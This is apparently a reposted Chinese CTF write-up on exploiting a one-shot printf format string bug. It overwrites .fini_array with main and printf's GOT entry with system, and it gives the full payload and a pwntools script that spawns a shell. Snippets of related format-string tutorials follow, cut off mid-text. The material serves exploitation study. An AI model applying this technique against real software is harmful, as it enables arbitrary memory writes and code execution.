格式化字符串漏洞-无限循环

程序大致逻辑如下,程序存在system函数,保护只开了NX

 setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to my ctf! What's your name?");
  __isoc99_scanf("%64s", &format);
  printf("Hello ");
  printf(&format);
  return 0;

存在格式化字符串漏洞,但是利用完之后没有别的函数执行。只能利用一次且没有别的函数可以执行。

但是有一种方法可以使程序达到无限循环。

一个程序的流程执行如下所示:

在main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针

我们修改其函数指针的地址为main即可在结束时重新调用main函数重新调用函数

同时我们可以将printf的got表内容修改至system函数的地址调用system地址

接着我们在查看一下我们输入的字符串的偏移,再printf处下断点

我们输入所处的偏移为4

最终确定payload如下

payload=p32(fini_array)+p32(printf_got)+"%134513964c%4$n"+"%4294966940c%5$n"

但是由于交互问题此时接收数据太长,传输效果不好。因此我们改用hn传输

payload="\x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08\x9e\x98\x04\x08%34084c%4$ hn%33488c%5$hn%31692c%6$hn%33844c%7$hn"
from pwn import *
p=process('./pwn')
context.log_level='debug'
p.recvuntil("Welcome to my ctf! What's your name?\n")
fini_array=0x0804979c
fini_1=0x0804979e
printf_got=0x0804989c
system_plt=0x080483d0
main_addr=0x08048534
payload="\x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08\x9e\x98\x04\x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn"
#payload=p32(fini_array)+p32(printf_got)+"%134513964c%4$n%4294966940c%5$n"

p.send(payload)
sleep(2)
p.recvuntil("Welcome to my ctf! What's your name?\n")
p.sendline("/bin/sh\x00")
p.interactive()

原文地址:https://www.cnblogs.com/playmak3r/p/12089284.html

时间: 2024-08-14 07:26:45

格式化字符串漏洞-无限循环的相关文章

Linux pwn入门教程——格式化字符串漏洞

本文作者:[email protected] 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进行调用,例如 然而,有时候为了省事也会写成 事实上,这是一种非常危险的写法.由于printf函数族的设计缺陷,当其第一个参数可被控制时,攻击者将有机会对任意内存地址进行读写操作. 0×01 利用格

YS VTM模块存在格式化字符串漏洞,可导致VTM进程异常退出【高危】

YS VTM模块存在格式化字符串漏洞,可导致VTM进程异常退出[高危] 问题描述:          YS VTM模块开放对外监听端口(8554和8664),此次使用sulley fuzzing框架对监听在8664端口的私有二进制协议进行测试,以检测可能发生的各种问题.在该协议中,客户端会向8664端口发送一个二进制+文本格式的报文,对该报文格式的各个字段进行fuzzing,发现当向服务端的VTM进程传入格式化字符串时会崩溃并退出. 测试步骤: 1.  分别在客户机和服务器安装sulley fu

格式化字符串漏洞

这不是一篇完整的关于 "格式化字符串漏洞" 的文章我在学习中遇到问题所搜索到的一些零碎知识 在这做一下总结,  参考中的每一个链接都很好的 讲解了 "格式化字符串漏洞" 基本的格式化字符串参数:参考:http://bobao.360.cn/learning/detail/3654.html %c:输出字符,配上%n可用于向指定地址写数据. %d:输出十进制整数,配上%n可用于向指定地址写数据. %x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数

简单的格式化字符串漏洞

找到偏移量后,实现任意地址读需要在偏移量的基础上+1,因为偏移量对应的地址是一个标致,而不是printf函数的参数. 如:%8$s'+p32(flag_addr) 偏移量为7,读取flag_addr中的内容,需要使用%8$s. 实现任意地址写需要将要写入的地址和内容放到偏移量前面. 如:p32(flag_addr)+'%.2333d'+'%7$n' 原文地址:https://www.cnblogs.com/h4y0/p/11558735.html

详谈Format String(格式化字符串)漏洞

格式化字符串漏洞由于目前编译器的默认禁止敏感格式控制符,而且容易通过代码审计中发现,所以此类漏洞极少出现,一直没有笔者本人的引起重视.最近捣鼓pwn题,遇上了不少,决定好好总结了一下. 格式化字符串漏洞最早被Tymm Twillman在1999年发现,当时并未引起重视.在tf8的一份针对wu-ftpd格式化字符串漏洞实现任意代码执行的漏洞的报告之后(详情可参阅 <黑客攻防技术宝典-系统实战篇>),才让人们意识到它的危害,至此而发现了大量的相关漏洞. 格式化字符串漏洞的产生根源主要源于对用 户输

格式化字符串利用小结

格式化字符串利用小结 格式化字符串漏洞基本原理: Printf()函数的一般形式为printf("format",输出表列),其第一个参数就是格式化字符串,用来告诉程序以什么格式进行输出.正常情况下,这样使用: char str[100]; scanf("%s",str); printf("%s",str); 但也有人这么用: char str[100] scanf("%s",str); printf(str) 也许代码编写者

格式化字符串溢出实验

sh视频链接:  课程编写 类别 内容 实验课题名称 格式化字符串溢出实验 实验目的与要求 了解格式化字符串溢出的基本概念 掌握格式化字符串溢出的原理和性质 熟悉格式化字符串溢出攻击的方法 简单掌握格式化字符串溢出的防范方法 实验环境 VPC1(虚拟PC) Windows XP操作系统 软件描述 实验代码 预备知识 格式化字符串的漏洞是由像这样的代码 printf(user_input)引起的,其中 user_input 是用户输入的数据,具有 Set-UID root 权限这类程序在运行的时候

Python笔记---DAY3:格式化输出、for循环、列表操作

1.引号使用: 多行变量用三引号 python单双引号相同,当命令内容中有引号时注意最外层引号的使用 2.格式化输出: name=input("name:") age=int(input("age:")) job=input("job:") salary=input("salary:") number=input("number:") if salary.isdigit(): 判断输入是否为数字,其中.的作

格式化字符串攻击原理及示例

一.类printf函数簇实现原理 类printf函数的最大的特点就是,在函数定义的时候无法知道函数实参的数目和类型. 对于这种情况,可以使用省略号指定参数表. 带有省略号的函数定义中,参数表分为两部分,前半部分是确定个数.确定类型的参数,第二部分就是省略号,代表数目和类型都不确定的参数表,省略号参数表中参数的个数和参数的类型是事先的约定计算出来的,每个实参的地址(指针)是根据确定参数表中最后一个实参的地址算出来的. 这里涉及到函数调用时的栈操作.函数栈的栈底是高地址,栈顶是底地址.在函数调用 时